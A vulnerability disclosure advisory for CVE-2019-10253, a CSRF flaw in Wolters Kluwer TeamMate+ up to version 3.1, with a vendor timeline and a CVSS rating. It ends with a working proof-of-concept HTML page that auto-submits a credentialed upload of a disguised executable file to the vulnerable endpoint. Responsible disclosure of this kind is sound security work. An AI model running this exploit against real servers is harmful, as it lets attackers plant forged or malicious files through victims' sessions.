Title: ==== Wolters Kluwer TeamMate+ ? Cross-Site Request Forgery (CSRF) vulnerability Credit: ====== Name: Bhadresh Patel CVE: ==== CVE-2019-10253 Date: ==== 19/03/2019 (dd/mm/yyyy) Vendor: ====== Wolters Kluwer is a global leader in professional information, software solutions, and services for the health, tax & accounting, finance, risk & compliance, and legal sectors. We help our customers make critical decisions every day by providing expert solutions that combine deep domain knowledge with specialized technology and services. Vendor link: http://www.teammatesolutions.com/about-us.aspx Vulnerable Product: ============== TeamMate+ TeamMate Global Audit Solutions, part of the Tax and Accounting Division of Wolters Kluwer, helps professionals in all industries at organizations around the world manage audit and compliance risks and business issues by providing targeted, configurable, and efficient software solutions. Solutions include TeamMate+ Audit, TeamMate+ Controls, and TeamMate Analytics. Together, this ecosystem of solutions provides organizations with the combined assurance they need to manage all aspects of risk identification and assessment, electronic working paper creation and management, controls framework management, and data analysis. Abstract: ======= Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an attacker to upload malicious/forged files on TeamMate server or replace existing uploaded files with malicious/forged files by enticing authenticated user to visit attacker page. Report-Timeline: ============= 19/03/2019: Vendor notified 19/03/2019: Vendor responded requesting further information 20/03/2019: Further technical information with PoC was shared with vendor 01/07/2019: Vendor fixed the issue in version 3.2 Affected Software Version: ============= <= TeamMate January 2019 (Version 3.1) (Internal Version: 21.0.0.0) Exploitation-Technique: =================== Remote Severity Rating (CVSS): =================== 4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) CVE ID: ======= CVE-2019-10253 Details: ======= A Cross-Site Request Forgery (CSRF) vulnerability is discovered in TeamMate+ which allows a remote attacker to modify application data (upload malicious/forged files on TeamMate server or replace existing uploaded files with malicious/forged files) without victim's knowledge by enticing authenticated user to visit attacker page/URL. The specific flaw exists within the handling of request to ?DomainObjectDocumentUpload.ashx? application. An application failed to validate CSRF token before handling the POST request. Vulnerable module/page/application: /TeamMate/Upload/DomainObjectDocumentUpload.ashx PoC Exploit code: ---------------------------------------------------------------------------- <html> <body onload="submitRequest()"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx", true); xhr.setRequestHeader("Accept", "text/html, */*; q=0.01"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryNA930lURoQYsoTOn"); xhr.withCredentials = true; var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"fileObjectId\"\r\n" + "\r\n" + "0\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"parentId\"\r\n" + "\r\n" + "1373\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"AssessmentId\"\r\n" + "\r\n" + "34\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"ProjectId\"\r\n" + "\r\n" + "1106\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"ParentNodeType\"\r\n" + "\r\n" + "50\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"DocumentParentObjectType\"\r\n" + "\r\n" + "90\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" + "Content-Disposition: form-data; name=\"files[]\"; filename=\"Report.txt\"\r\n" + "Content-Type: application/x-msdownload\r\n" + "\r\n" + "MZP\r\n" + "------WebKitFormBoundaryNA930lURoQYsoTOn--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> </body> </html> ---------------------------------------------------------------------------- Credits: ======= Bhadresh Patel